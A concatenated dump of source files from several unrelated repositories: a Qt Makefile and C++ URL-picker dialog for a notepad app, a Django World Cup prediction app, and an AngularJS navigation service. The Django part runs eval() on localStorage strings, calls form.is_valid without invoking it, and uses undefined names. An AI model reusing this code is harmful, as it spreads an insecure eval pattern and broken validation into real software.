qrc_style.cpp: qdarkstyle/style.qrc \
/usr/bin/rcc \
qdarkstyle/rc/transparent.png \
qdarkstyle/rc/line_horizontal_pressed.png \
qdarkstyle/rc/line_horizontal.png \
qdarkstyle/rc/arrow_left_disabled@2x.png \
qdarkstyle/rc/branch_more_focus.png \
qdarkstyle/rc/arrow_down_disabled@2x.png \
qdarkstyle/rc/toolbar_move_vertical_pressed.png \
qdarkstyle/rc/window_close_pressed@2x.png \
qdarkstyle/rc/arrow_up_focus.png \
qdarkstyle/rc/toolbar_separator_horizontal_pressed@2x.png \
qdarkstyle/rc/window_close_pressed.png \
qdarkstyle/rc/branch_open_disabled@2x.png \
qdarkstyle/rc/line_horizontal_focus@2x.png \
qdarkstyle/rc/checkbox_unchecked.png \
qdarkstyle/rc/radio_checked_focus@2x.png \
qdarkstyle/rc/checkbox_checked_pressed@2x.png \
qdarkstyle/rc/base_icon_disabled.png \
qdarkstyle/rc/toolbar_move_horizontal.png \
qdarkstyle/rc/window_close_disabled.png \
qdarkstyle/rc/branch_line@2x.png \
qdarkstyle/rc/toolbar_move_vertical@2x.png \
qdarkstyle/rc/arrow_right_pressed@2x.png \
qdarkstyle/rc/arrow_up_disabled.png \
qdarkstyle/rc/checkbox_checked@2x.png \
qdarkstyle/rc/toolbar_move_vertical_focus.png \
qdarkstyle/rc/radio_unchecked_disabled.png \
qdarkstyle/rc/checkbox_indeterminate.png \
qdarkstyle/rc/window_close_disabled@2x.png \
qdarkstyle/rc/window_grip_pressed@2x.png \
qdarkstyle/rc/toolbar_separator_horizontal_focus@2x.png \
qdarkstyle/rc/branch_closed_disabled.png \
qdarkstyle/rc/branch_line.png \
qdarkstyle/rc/checkbox_indeterminate_pressed.png \
qdarkstyle/rc/transparent_focus.png \
qdarkstyle/rc/toolbar_separator_horizontal.png \
qdarkstyle/rc/branch_end_focus.png \
qdarkstyle/rc/checkbox_unchecked@2x.png \
qdarkstyle/rc/window_undock_disabled.png \
qdarkstyle/rc/radio_checked_pressed@2x.png \
qdarkstyle/rc/branch_end_focus@2x.png \
qdarkstyle/rc/toolbar_move_horizontal_focus.png \
qdarkstyle/rc/arrow_left_focus.png \
qdarkstyle/rc/arrow_left@2x.png \
qdarkstyle/rc/toolbar_separator_vertical_focus@2x.png \
qdarkstyle/rc/window_grip_focus@2x.png \
qdarkstyle/rc/window_undock_focus.png \
qdarkstyle/rc/window_close.png \
qdarkstyle/rc/line_horizontal@2x.png \
qdarkstyle/rc/toolbar_move_vertical_disabled@2x.png \
qdarkstyle/rc/line_vertical_focus@2x.png \
qdarkstyle/rc/arrow_right@2x.png \
qdarkstyle/rc/base_icon_pressed.png \
qdarkstyle/rc/branch_line_focus.png \
qdarkstyle/rc/window_grip_focus.png \
qdarkstyle/rc/arrow_right_disabled@2x.png \
qdarkstyle/rc/branch_more_pressed@2x.png \
qdarkstyle/rc/toolbar_move_vertical_disabled.png \
qdarkstyle/rc/arrow_up.png \
qdarkstyle/rc/arrow_left_pressed@2x.png \
qdarkstyle/rc/checkbox_checked.png \
qdarkstyle/rc/toolbar_move_horizontal_disabled.png \
qdarkstyle/rc/line_vertical_pressed.png \
qdarkstyle/rc/base_icon_pressed@2x.png \
qdarkstyle/rc/toolbar_separator_vertical_focus.png \
qdarkstyle/rc/branch_end_pressed.png \
qdarkstyle/rc/checkbox_indeterminate_focus@2x.png \
qdarkstyle/rc/window_minimize_disabled.png \
qdarkstyle/rc/window_undock_pressed.png \
qdarkstyle/rc/radio_checked@2x.png \
qdarkstyle/rc/toolbar_move_horizontal_disabled@2x.png \
qdarkstyle/rc/branch_closed_disabled@2x.png \
qdarkstyle/rc/line_vertical.png \
qdarkstyle/rc/branch_line_disabled.png \
qdarkstyle/rc/toolbar_separator_vertical.png \
qdarkstyle/rc/branch_more_disabled.png \
qdarkstyle/rc/toolbar_move_horizontal@2x.png \
qdarkstyle/rc/window_undock_disabled@2x.png \
qdarkstyle/rc/arrow_down_pressed.png \
qdarkstyle/rc/toolbar_separator_horizontal_disabled@2x.png \
qdarkstyle/rc/branch_more_disabled@2x.png \
qdarkstyle/rc/line_vertical_focus.png \
qdarkstyle/rc/toolbar_separator_horizontal@2x.png \
qdarkstyle/rc/arrow_left_focus@2x.png \
qdarkstyle/rc/transparent_focus@2x.png \
qdarkstyle/rc/branch_open_focus@2x.png \
qdarkstyle/rc/toolbar_separator_vertical_disabled@2x.png \
qdarkstyle/rc/arrow_down_focus@2x.png \
qdarkstyle/rc/arrow_up_pressed@2x.png \
qdarkstyle/rc/arrow_up_disabled@2x.png \
qdarkstyle/rc/checkbox_checked_disabled.png \
qdarkstyle/rc/checkbox_checked_disabled@2x.png \
qdarkstyle/rc/line_vertical@2x.png \
qdarkstyle/rc/window_close@2x.png \
qdarkstyle/rc/arrow_right_disabled.png \
qdarkstyle/rc/branch_open@2x.png \
qdarkstyle/rc/checkbox_unchecked_focus@2x.png \
qdarkstyle/rc/line_vertical_disabled@2x.png \
qdarkstyle/rc/branch_more.png \
qdarkstyle/rc/transparent_pressed@2x.png \
qdarkstyle/rc/toolbar_move_vertical.png \
qdarkstyle/rc/line_horizontal_focus.png \
qdarkstyle/rc/window_minimize_focus.png \
qdarkstyle/rc/checkbox_indeterminate@2x.png \
qdarkstyle/rc/branch_end_pressed@2x.png \
qdarkstyle/rc/arrow_up_pressed.png \
qdarkstyle/rc/arrow_right.png \
qdarkstyle/rc/radio_checked_disabled@2x.png \
qdarkstyle/rc/branch_open_pressed.png \
qdarkstyle/rc/line_horizontal_disabled.png \
qdarkstyle/rc/window_close_focus.png \
qdarkstyle/rc/radio_checked_disabled.png \
qdarkstyle/rc/branch_more@2x.png \
qdarkstyle/rc/branch_open.png \
qdarkstyle/rc/checkbox_unchecked_disabled@2x.png \
qdarkstyle/rc/base_icon_focus@2x.png \
qdarkstyle/rc/checkbox_unchecked_pressed.png \
qdarkstyle/rc/window_close_focus@2x.png \
qdarkstyle/rc/window_minimize_pressed@2x.png \
qdarkstyle/rc/branch_closed.png \
qdarkstyle/rc/arrow_up_focus@2x.png \
qdarkstyle/rc/radio_checked_pressed.png \
qdarkstyle/rc/branch_end_disabled@2x.png \
qdarkstyle/rc/radio_unchecked_disabled@2x.png \
qdarkstyle/rc/radio_unchecked_focus@2x.png \
qdarkstyle/rc/base_icon@2x.png \
qdarkstyle/rc/toolbar_move_vertical_pressed@2x.png \
qdarkstyle/rc/toolbar_separator_vertical_pressed.png \
qdarkstyle/rc/toolbar_separator_horizontal_disabled.png \
qdarkstyle/rc/branch_line_disabled@2x.png \
qdarkstyle/rc/branch_closed_pressed.png \
qdarkstyle/rc/branch_closed_focus@2x.png \
qdarkstyle/rc/window_minimize@2x.png \
qdarkstyle/rc/window_minimize.png \
qdarkstyle/rc/transparent_pressed.png \
qdarkstyle/rc/window_grip@2x.png \
qdarkstyle/rc/checkbox_indeterminate_pressed@2x.png \
qdarkstyle/rc/base_icon_focus.png \
qdarkstyle/rc/checkbox_checked_pressed.png \
qdarkstyle/rc/arrow_down_focus.png \
qdarkstyle/rc/radio_checked.png \
qdarkstyle/rc/branch_end_disabled.png \
qdarkstyle/rc/toolbar_move_horizontal_pressed.png \
qdarkstyle/rc/radio_unchecked_focus.png \
qdarkstyle/rc/window_undock_focus@2x.png \
qdarkstyle/rc/radio_unchecked_pressed.png \
qdarkstyle/rc/toolbar_separator_vertical_disabled.png \
qdarkstyle/rc/window_undock.png \
qdarkstyle/rc/window_grip_disabled.png \
qdarkstyle/rc/branch_open_pressed@2x.png \
qdarkstyle/rc/radio_checked_focus.png \
qdarkstyle/rc/checkbox_checked_focus.png \
qdarkstyle/rc/window_undock_pressed@2x.png \
qdarkstyle/rc/line_vertical_disabled.png \
qdarkstyle/rc/checkbox_unchecked_focus.png \
qdarkstyle/rc/branch_closed_focus.png \
qdarkstyle/rc/arrow_down@2x.png \
qdarkstyle/rc/toolbar_move_vertical_focus@2x.png \
qdarkstyle/rc/toolbar_separator_horizontal_focus.png \
qdarkstyle/rc/window_grip_disabled@2x.png \
qdarkstyle/rc/radio_unchecked.png \
qdarkstyle/rc/checkbox_unchecked_pressed@2x.png \
qdarkstyle/rc/window_grip.png \
qdarkstyle/rc/toolbar_separator_vertical@2x.png \
qdarkstyle/rc/arrow_right_focus.png \
qdarkstyle/rc/toolbar_move_horizontal_focus@2x.png \
qdarkstyle/rc/transparent_disabled@2x.png \
qdarkstyle/rc/base_icon_disabled@2x.png \
qdarkstyle/rc/window_grip_pressed.png \
qdarkstyle/rc/base_icon.png \
qdarkstyle/rc/transparent@2x.png \
qdarkstyle/rc/arrow_up@2x.png \
qdarkstyle/rc/line_vertical_pressed@2x.png \
qdarkstyle/rc/line_horizontal_disabled@2x.png \
qdarkstyle/rc/window_minimize_disabled@2x.png \
qdarkstyle/rc/checkbox_indeterminate_disabled.png \
qdarkstyle/rc/window_minimize_focus@2x.png \
qdarkstyle/rc/window_undock@2x.png \
qdarkstyle/rc/checkbox_indeterminate_disabled@2x.png \
qdarkstyle/rc/branch_line_pressed@2x.png \
qdarkstyle/rc/branch_line_focus@2x.png \
qdarkstyle/rc/branch_line_pressed.png \
qdarkstyle/rc/window_minimize_pressed.png \
qdarkstyle/rc/radio_unchecked@2x.png \
qdarkstyle/rc/checkbox_indeterminate_focus.png \
qdarkstyle/rc/branch_closed_pressed@2x.png \
qdarkstyle/rc/arrow_left.png \
qdarkstyle/rc/toolbar_separator_vertical_pressed@2x.png \
qdarkstyle/rc/branch_more_focus@2x.png \
qdarkstyle/rc/line_horizontal_pressed@2x.png \
qdarkstyle/rc/branch_more_pressed.png \
qdarkstyle/rc/arrow_right_pressed.png \
qdarkstyle/rc/arrow_down_pressed@2x.png \
qdarkstyle/rc/toolbar_separator_horizontal_pressed.png \
qdarkstyle/rc/branch_closed@2x.png \
qdarkstyle/rc/branch_end@2x.png \
qdarkstyle/rc/arrow_left_disabled.png \
qdarkstyle/rc/transparent_disabled.png \
qdarkstyle/rc/branch_open_disabled.png \
qdarkstyle/rc/branch_open_focus.png \
qdarkstyle/rc/arrow_down_disabled.png \
qdarkstyle/rc/radio_unchecked_pressed@2x.png \
qdarkstyle/rc/branch_end.png \
qdarkstyle/rc/checkbox_unchecked_disabled.png \
qdarkstyle/rc/checkbox_checked_focus@2x.png \
qdarkstyle/rc/arrow_left_pressed.png \
qdarkstyle/rc/arrow_down.png \
qdarkstyle/rc/toolbar_move_horizontal_pressed@2x.png \
qdarkstyle/rc/arrow_right_focus@2x.png \
qdarkstyle/style.qss
/usr/bin/rcc -name style qdarkstyle/style.qrc -o qrc_style.cpp
compiler_moc_predefs_make_all: moc_predefs.h
compiler_moc_predefs_clean:
-$(DEL_FILE) moc_predefs.h
moc_predefs.h: /usr/lib/qt/mkspecs/features/data/dummy.cpp
g++ -pipe -O2 -std=gnu++11 -Wall -Wextra -dM -E -o moc_predefs.h /usr/lib/qt/mkspecs/features/data/dummy.cpp
compiler_moc_header_make_all: moc_etab.cpp moc_mainwindow.cpp
compiler_moc_header_clean:
-$(DEL_FILE) moc_etab.cpp moc_mainwindow.cpp
moc_etab.cpp: etab.h \
mainwindow.h \
moc_predefs.h \
/usr/bin/moc
/usr/bin/moc $(DEFINES) --include /home/maurict/Documents/Dev/EasyNotepad/EasyNotepad/moc_predefs.h -I/usr/lib/qt/mkspecs/linux-g++ -I/home/maurict/Documents/Dev/EasyNotepad/EasyNotepad -I/usr/include/qt -I/usr/include/qt/QtWidgets -I/usr/include/qt/QtGui -I/usr/include/qt/QtCore -I/usr/include/c++/10.2.0 -I/usr/include/c++/10.2.0/x86_64-pc-linux-gnu -I/usr/include/c++/10.2.0/backward -I/usr/lib/gcc/x86_64-pc-linux-gnu/10.2.0/include -I/usr/local/include -I/usr/lib/gcc/x86_64-pc-linux-gnu/10.2.0/include-fixed -I/usr/include etab.h -o moc_etab.cpp
moc_mainwindow.cpp: mainwindow.h \
moc_predefs.h \
/usr/bin/moc
/usr/bin/moc $(DEFINES) --include /home/maurict/Documents/Dev/EasyNotepad/EasyNotepad/moc_predefs.h -I/usr/lib/qt/mkspecs/linux-g++ -I/home/maurict/Documents/Dev/EasyNotepad/EasyNotepad -I/usr/include/qt -I/usr/include/qt/QtWidgets -I/usr/include/qt/QtGui -I/usr/include/qt/QtCore -I/usr/include/c++/10.2.0 -I/usr/include/c++/10.2.0/x86_64-pc-linux-gnu -I/usr/include/c++/10.2.0/backward -I/usr/lib/gcc/x86_64-pc-linux-gnu/10.2.0/include -I/usr/local/include -I/usr/lib/gcc/x86_64-pc-linux-gnu/10.2.0/include-fixed -I/usr/include mainwindow.h -o moc_mainwindow.cpp
compiler_moc_objc_header_make_all:
compiler_moc_objc_header_clean:
compiler_moc_source_make_all:
compiler_moc_source_clean:
compiler_uic_make_all: ui_colorpicker.h ui_etab.h ui_mainwindow.h
compiler_uic_clean:
-$(DEL_FILE) ui_colorpicker.h ui_etab.h ui_mainwindow.h
ui_colorpicker.h: colorpicker.ui \
/usr/bin/uic
/usr/bin/uic colorpicker.ui -o ui_colorpicker.h
ui_etab.h: etab.ui \
/usr/bin/uic
/usr/bin/uic etab.ui -o ui_etab.h
ui_mainwindow.h: mainwindow.ui \
/usr/bin/uic
/usr/bin/uic mainwindow.ui -o ui_mainwindow.h
compiler_yacc_decl_make_all:
compiler_yacc_decl_clean:
compiler_yacc_impl_make_all:
compiler_yacc_impl_clean:
compiler_lex_make_all:
compiler_lex_clean:
compiler_clean: compiler_rcc_clean compiler_moc_predefs_clean compiler_moc_header_clean compiler_uic_clean
####### Compile
etab.o: etab.cpp etab.h \
mainwindow.h \
ui_etab.h
$(CXX) -c $(CXXFLAGS) $(INCPATH) -o etab.o etab.cpp
main.o: main.cpp mainwindow.h
$(CXX) -c $(CXXFLAGS) $(INCPATH) -o main.o main.cpp
mainwindow.o: mainwindow.cpp mainwindow.h \
ui_mainwindow.h \
etab.h
$(CXX) -c $(CXXFLAGS) $(INCPATH) -o mainwindow.o mainwindow.cpp
qrc_resources.o: qrc_resources.cpp
$(CXX) -c $(CXXFLAGS) $(INCPATH) -o qrc_resources.o qrc_resources.cpp
qrc_style.o: qrc_style.cpp
$(CXX) -c $(CXXFLAGS) $(INCPATH) -o qrc_style.o qrc_style.cpp
moc_etab.o: moc_etab.cpp
$(CXX) -c $(CXXFLAGS) $(INCPATH) -o moc_etab.o moc_etab.cpp
moc_mainwindow.o: moc_mainwindow.cpp
$(CXX) -c $(CXXFLAGS) $(INCPATH) -o moc_mainwindow.o moc_mainwindow.cpp
####### Install
install_target: first FORCE
@test -d $(INSTALL_ROOT)/opt/EasyNotepad/bin || mkdir -p $(INSTALL_ROOT)/opt/EasyNotepad/bin
$(QINSTALL_PROGRAM) $(QMAKE_TARGET) $(INSTALL_ROOT)/opt/EasyNotepad/bin/$(QMAKE_TARGET)
-$(STRIP) $(INSTALL_ROOT)/opt/EasyNotepad/bin/$(QMAKE_TARGET)
uninstall_target: FORCE
-$(DEL_FILE) $(INSTALL_ROOT)/opt/EasyNotepad/bin/$(QMAKE_TARGET)
-$(DEL_DIR) $(INSTALL_ROOT)/opt/EasyNotepad/bin/
install: install_target FORCE
uninstall: uninstall_target FORCE
FORCE:
<file_sep>#include "urlpicker.h"
#include "ui_urlpicker.h"
UrlPicker::UrlPicker(ETab *tab) : ui(new Ui::UrlPicker)
{
this->setAttribute(Qt::WA_DeleteOnClose);
this->parentTab = tab;
ui->setupUi(this);
QString selected = parentTab->getSelection();
ui->tbTitle->setText(selected);
this->checked = ui->checkBox->checkState() == Qt::Checked;
}
UrlPicker::~UrlPicker()
{
delete ui;
}
void UrlPicker::on_buttonBox_accepted()
{
QString title = ui->tbTitle->text();
QString link = ui->tbUrl->text();
parentTab->insertLink(title, link);
}
void UrlPicker::on_checkBox_stateChanged(int checked)
{
this->checked = (checked == Qt::Checked);
if(checked) {
ui->tbUrl->setText(ui->tbTitle->text());
ui->tbUrl->setEnabled(false);
} else {
ui->tbUrl->setEnabled(true);
}
}
void UrlPicker::on_tbTitle_textChanged(const QString &arg1)
{
if(checked) {
ui->tbUrl->setText(arg1);
}
}
| c2cb04aebf99429e7d3def12bfc8dab29cfa7243 | [
"Markdown",
"Makefile",
"C++"
] | 11 | C++ | maurictg/EasyNotepad | d6dd625be11b232aabec89ab49b27969ed624f44 | f44b81ed91c90b75b39cb01fa5bd482243f43700 |
refs/heads/master | <repo_name>sageoffroy/myfixture<file_sep>/fixture/models.py
#encoding:utf-8
from django.db import models
from django.contrib.auth.models import User
from django.contrib import admin
from django import forms
class AuthGroup(models.Model):
id = models.IntegerField(primary_key=True)
name = models.CharField(unique=True, max_length=80)
class Meta:
managed = False
db_table = 'auth_group'
class AuthGroupPermissions(models.Model):
id = models.IntegerField(primary_key=True)
group_id = models.IntegerField()
permission = models.ForeignKey('AuthPermission')
class Meta:
managed = False
db_table = 'auth_group_permissions'
class AuthPermission(models.Model):
id = models.IntegerField(primary_key=True)
name = models.CharField(max_length=50)
content_type_id = models.IntegerField()
codename = models.CharField(max_length=100)
class Meta:
managed = False
db_table = 'auth_permission'
class AuthUser(models.Model):
id = models.IntegerField(primary_key=True)
password = models.CharField(max_length=128)
last_login = models.DateTimeField()
is_superuser = models.BooleanField()
username = models.CharField(unique=True, max_length=30)
first_name = models.CharField(max_length=30)
last_name = models.CharField(max_length=30)
email = models.CharField(max_length=75)
is_staff = models.BooleanField()
is_active = models.BooleanField()
date_joined = models.DateTimeField()
class Meta:
managed = False
db_table = 'auth_user'
class AuthUserGroups(models.Model):
id = models.IntegerField(primary_key=True)
user_id = models.IntegerField()
group = models.ForeignKey(AuthGroup)
class Meta:
managed = False
db_table = 'auth_user_groups'
class AuthUserUserPermissions(models.Model):
id = models.IntegerField(primary_key=True)
user_id = models.IntegerField()
permission = models.ForeignKey(AuthPermission)
class Meta:
managed = False
db_table = 'auth_user_user_permissions'
class DjangoAdminLog(models.Model):
id = models.IntegerField(primary_key=True)
action_time = models.DateTimeField()
user_id = models.IntegerField()
content_type_id = models.IntegerField(blank=True, null=True)
object_id = models.TextField(blank=True)
object_repr = models.CharField(max_length=200)
action_flag = models.PositiveSmallIntegerField()
change_message = models.TextField()
class Meta:
managed = False
db_table = 'django_admin_log'
class DjangoContentType(models.Model):
id = models.IntegerField(primary_key=True)
name = models.CharField(max_length=100)
app_label = models.CharField(max_length=100)
model = models.CharField(max_length=100)
class Meta:
managed = False
db_table = 'django_content_type'
class DjangoSession(models.Model):
session_key = models.CharField(unique=True, max_length=40)
session_data = models.TextField()
expire_date = models.DateTimeField()
class Meta:
managed = False
db_table = 'django_session'
# Create your models here.
class Prode (models.Model):
usuario = models.ForeignKey(User)
class Meta:
verbose_name_plural = "Prode de los usuarios"
def __unicode__(self):
return str(self.usuario)
class Estadio (models.Model):
nombre = models.CharField(max_length=40)
dimensiones = models.CharField(max_length=40)
capacidad = models.IntegerField()
apertura = models.IntegerField(max_length=4)
foto = models.ImageField(upload_to='images/estadio', verbose_name='Foto Estadio')
def __unicode__(self):
return self.nombre
class Jugador (models.Model):
nombre = models.CharField(max_length=40)
apodo = models.CharField(max_length=15, blank=True)
nacimiento = models.DateField()
debut = models.IntegerField(max_length=4)
goles_seleccion = models.IntegerField(max_length=4)
goles = models.IntegerField(max_length=4)
foto = models.ImageField(upload_to='images/jugador', verbose_name='Foto Perfil')
def __unicode__(self):
return self.nombre
class Tecnico (models.Model):
nombre = models.CharField(max_length=40)
apodo = models.CharField(max_length=15, blank = True)
nacimiento = models.DateField()
titulos = models.IntegerField(max_length=4)
foto = models.ImageField(upload_to='images/tecnico', verbose_name='Foto Perfil')
def __unicode__(self):
return self.nombre
class Seleccion (models.Model):
pais = models.CharField(max_length=40, unique=True)
cod_fifa = models.CharField(max_length=3)
tecnico = models.ForeignKey(Tecnico)
goleador = models.ForeignKey(Jugador, related_name='goleador')
mas_partidos = models.ForeignKey(Jugador, related_name='mas participaciones')
ranking_fifa = models.IntegerField(max_length=3, verbose_name='Ranking')
mejor_lugar = models.IntegerField(max_length=3)
mejor_lugar_fecha = models.DateField()
peor_lugar = models.IntegerField(max_length=3)
peor_lugar_fecha = models.DateField()
escudo = models.ImageField(upload_to='images/escudos', verbose_name='Escudo')
bandera = models.ImageField(upload_to='images/banderas', verbose_name='Bandera')
estadio = models.ForeignKey(Estadio)
def escudo_image(self):
return '<img src="http://127.0.0.1:8000/media/%s" width="30"/>' % self.escudo
def bandera_image(self):
return '<img src="http://127.0.0.1:8000/media/%s" width="50"/>' % self.bandera
escudo_image.allow_tags = True
bandera_image.allow_tags = True
def __unicode__(self):
return self.pais
class SeleccionAdmin (admin.ModelAdmin):
list_display = ('pais', 'bandera_image', 'escudo_image', 'tecnico','ranking_fifa','estadio')
search_fields = ('pais',)
class Partido (models.Model):
fecha = models.DateTimeField()
lugar = models.CharField(max_length=40)
e1 = models.ForeignKey(Seleccion, related_name='seleccion_e1')
e2 = models.ForeignKey(Seleccion, related_name='seleccion_e2')
@property
def getFecha(self):
return '%s' % self.fecha.strftime('%d/%m %H:%M')
def __unicode__(self):
return '%s vs %s' % (self.e1, self.e2)
class Grupo (models.Model):
letra = models.CharField(max_length=1, unique=True)
e1 = models.ForeignKey(Seleccion, related_name='seleccion_equipo1')
e2 = models.ForeignKey(Seleccion, related_name='seleccion_equipo2')
e3 = models.ForeignKey(Seleccion, related_name='seleccion_equipo3')
e4 = models.ForeignKey(Seleccion, related_name='seleccion_equipo4')
p1 = models.ForeignKey(Partido, related_name='partido_partido1')
p2 = models.ForeignKey(Partido, related_name='partido_partido2')
p3 = models.ForeignKey(Partido, related_name='partido_partido3')
p4 = models.ForeignKey(Partido, related_name='partido_partido4')
p5 = models.ForeignKey(Partido, related_name='partido_partido5')
p6 = models.ForeignKey(Partido, related_name='partido_partido6')
def __unicode__(self):
return 'Grupo '+ self.letra
class Resultado (models.Model):
TIPO_RESULTADO = ((0, "Local"),(1, "Empate"),(2, "Visitante"))
prode = models.ForeignKey(Prode)
partido = models.ForeignKey(Partido)
e1_goles = models.IntegerField(max_length=2)
e2_goles = models.IntegerField()
resultado = models.PositiveSmallIntegerField(choices = TIPO_RESULTADO)
class Meta:
verbose_name_plural = "Resultados de los Partidos"
def __unicode__(self):
return str(self.partido.fecha) + " " + str(self.partido.e1) + " " + str(self.e1_goles) + " - " +str(self.partido.e2) + " " + str(self.e2_goles)+" / Ganador: " + str(self.ganador)
<file_sep>/fixture/forms.py
from django.forms import ModelForm
from django import forms
from fixture.models import Seleccion, Partido, Grupo, Resultado
from django.contrib.auth.forms import UserCreationForm
from django.contrib.auth.models import User
class ContactoForm (forms.Form):
correo = forms.EmailField(label = 'Tu correo electronico')
mensaje = forms.CharField (widget=forms.Textarea)
class UserRegisterForm(UserCreationForm):
username = forms.RegexField(label=("Usuario"), max_length=30,
regex=r'^[\w.@+-]+$',
error_messages={
'invalid': ("This value may contain only letters, numbers and "
"@/./+/-/_ characters.")})
password1 = forms.CharField(label=("Clave"),widget=forms.PasswordInput)
password2 = forms.CharField(label=("Confirmar clave"),widget=forms.PasswordInput)
class Meta:
model = User
fields = ("username","first_name", "last_name", "email",)
class ResultadoForm (ModelForm):
e1_goles = forms.IntegerField(widget=forms.TextInput(attrs={'size':2, 'id':'goles1', 'class': 'goles loc', 'onchange':'anotarResultado(this)', 'onselect':'cambioInput(this)', 'onclick':'cambioInput(this)'}))
e2_goles = forms.IntegerField(widget=forms.TextInput(attrs={'size':2, 'id':'goles2', 'class': 'goles vis', 'onselect':'cambioInput(this)', 'onclick':'cambioInput(this)'}))
class Meta:
model = Resultado
<file_sep>/static/js/fixture.js
valorAnterior = 0;
if (localStorage['fixture']==null) {
console.log("Nunca cargo el json");
$.getJSON("mundial.json", cargarArchivo);
}
function cargarArchivo (value) {
/* Utilizas el localStorage como un diccionario (clave, valor) .
JSON.stringify(value) se utiliza xq solamente puede guardar strings */
console.log("Tratando de cargarlo");
localStorage.setItem('fixture',JSON.stringify(value));
console.log(value);
}
function cambioInput (input) {
//alert('Cambio el texto del input: ' + parseInt(input.value));
valorAnterior = parseInt(input.value);
}
/* Permite reconstruir funciones desde el string de la funcion */
function jsonfnParse(str) {
return JSON.parse(str,
function (key, value) {
if ((typeof value) != 'string')
return value;
return (value.substring(0,8) == 'function') ? eval('('+value+')') : value;
});
}
function anotarResultado (input) {
/*if (!inputHabilitado)
habilitarInputEliminatorias();*/
var numPartido = input.parentElement.id;
console.log('numPartido: ' + numPartido);
var entradas = $('#'+numPartido+'.active').find('input');
console.log('entradas: ' + entradas);
console.log('4 padres: ' + input.parentElement.parentElement.parentElement.parentElement.id);
var grupo = jsonfnParse(localStorage[input.parentElement.parentElement.parentElement.parentElement.id]);
/*var partido = '';
for (var i = 0; i < grupo.partidos.length; i++) {
if (grupo.partidos[i].numPartido == input.parentElement.parentElement.id){
// Obtengo el partido correspondiente
partido = grupo.partidos[i];
}
}
var equipos = grupo.equipos;
var equipo1 = '';
var equipo2 = '';
if (input.id==('goles1')){
for (var i = 0; i < equipos.length; i++) {
if (equipos[i].id == partido.equipo1)
{
grupo.equipos[i].setGolesFavor(parseInt(input.value), valorAnterior);
}
}
}else{
for (var i = 0; i < equipos.length; i++) {
if (equipos[i].id == partido.equipo2)
{
grupo.equipos[i].setGolesFavor(parseInt(input.value), valorAnterior);
}
}
}
// Obteniendo los equipos //
for (var i = 0; i < equipos.length; i++) {
if (equipos[i].id == partido.equipo1)
equipo1 = grupo.equipos[i];
if (equipos[i].id == partido.equipo2)
equipo2 = grupo.equipos[i];
};
if (!partido.jugado){
equipo1.jugados = equipo1.jugados + 1;
equipo2.jugados = equipo2.jugados + 1;
}
comprobarEstadoPartido(partido, parseInt(entradas[0].value), parseInt(entradas[1].value), equipo1, equipo2);
grupo.anotarGol(numPartido, entradas[0].id, parseInt(entradas[0].value));
grupo.anotarGol(numPartido, entradas[1].id, parseInt(entradas[1].value));
partido.jugado = true;
equipos.sort(function (a, b) {
return a.getPuntos() < b.getPuntos();
});
if(comprobarPartidosJugados(grupo.partidos)==true){
if (!localStorage.octavos)
localStorage.octavos = JSON.stringify([]);
cargarOctavos(grupo, equipos[0], 1);
cargarOctavos(grupo, equipos[1], 2);
}
localStorage[input.parentElement.id] = JSON.stringify(grupo, jsonfnStringify);
cargarPosGrupos(grupo.nombre);*/
} <file_sep>/fixture/views.py
from django.shortcuts import render
from django.shortcuts import render_to_response, get_object_or_404
from django.template import RequestContext
from django.contrib.auth.models import User
from django.http import HttpResponse, HttpResponseRedirect
#modelos propios
from fixture.models import Seleccion, Grupo, Partido
from fixture.forms import ContactoForm, UserRegisterForm, ResultadoForm
#Gestion de usuarios
from django.contrib.auth.forms import AuthenticationForm
from django.contrib.auth import login, authenticate, logout
from django.contrib.auth.decorators import login_required
def selecciones(request):
selecciones = Seleccion.objects.all()
return render_to_response('selecciones.html',{'selecciones':selecciones},context_instance=RequestContext(request))
def fixture(request):
grupos = Grupo.objects.all()
partidos = Partido.objects.all()
if request.method == 'POST':
form = ResultadoForm(request.POST)
if form.is_valid:
form.save()
return HttpResponseRedirect('/fixture')
else:
form = ResultadoForm()
return render_to_response('fixture.html',{'form':form, 'grupos':grupos},context_instance=RequestContext(request))
def home(request):
selecciones = Seleccion.objects.all()
return render_to_response('index.html',{'selecciones':selecciones},context_instance=RequestContext(request))
def contacto(request):
if request.method == 'POST':
formulario = ContactoForm(request.POST)
if formulario.is_valid():
titulo = 'Mnesaje desde el recetario'
contenido = formlario.cleaned_data['mensaje']+"\n"
contenido += 'Comunicarse a: ' + formulario.cleaned_data['correo']
correro = EmailMesagge(titulos, contenido, to=['<EMAIL>'])
correo.send()
return HttpResponseRedirect('/')
else:
formulario = ContactoForm()
return render_to_response('contacto.html',{'formulario':formulario},context_instance=RequestContext(request))
def user_register (request):
if request.method == 'POST':
form = UserRegisterForm(request.POST)
if form.is_valid:
form.save()
return HttpResponseRedirect('/')
else:
form = UserRegisterForm()
return render_to_response('register.html',{'form':form},context_instance=RequestContext(request))
def user_login (request):
if request.method == 'POST':
form = AuthenticationForm(request.POST)
if form.is_valid:
usuario = request.POST['username']
clave = request.POST['<PASSWORD>']
acceso = authenticate(username=usuario, password=<PASSWORD>)
if acceso is not None:
if acceso.is_active:
login(request,acceso)
return HttpResponseRedirect('/')
else:
return HttpResponseRedirect('/')
else:
return HttpResponseRedirect('/')
else:
return HttpResponseRedirect('/')
else:
form = AuthenticationForm(request.POST)
return render_to_response('index.html',{'form':form},context_instance=RequestContext(request))
@login_required(login_url='/')
def user_logout (request):
logout(request)
return HttpResponseRedirect('/')<file_sep>/fixture/admin.py
from django.contrib import admin
from models import Seleccion, Grupo, Partido, SeleccionAdmin, Prode, Resultado, Jugador, Tecnico, Estadio
admin.site.register(Seleccion, SeleccionAdmin)
admin.site.register(Partido)
admin.site.register(Grupo)
admin.site.register(Prode)
admin.site.register(Resultado)
admin.site.register(Jugador)
admin.site.register(Tecnico)
admin.site.register(Estadio)
| 9740f25bfde2d5bf58f40895743a1a1c3892db91 | [
"JavaScript",
"Python"
] | 5 | Python | sageoffroy/myfixture | f056f899c9c264880a23d1f601d8b6089e064e36 | 05277cd49f9ad4f0543d21729af5e833e300ea22 |
refs/heads/master | <repo_name>sirarthur30-hotmail-com/ionic-demo<file_sep>/www/js/services/LaunchNavigatorService.js
(function(){
'use strict';
angular.module('App.Services')
.factory('LaunchNavigatorService', ['$window', '$q', function($window, $q){
var navigate = function(destination, origin, options) {
var defer = $q.defer();
if($window.launchnavigator && $window.launchnavigator.navigate){
$window.launchnavigator.navigate(
destination,
origin,
function() { defer.resolve(); },
function() { defer.reject(); },
options);
}
else {
defer.reject();
}
return defer.promise;
};
return {
navigate: navigate
};
}]);
}());
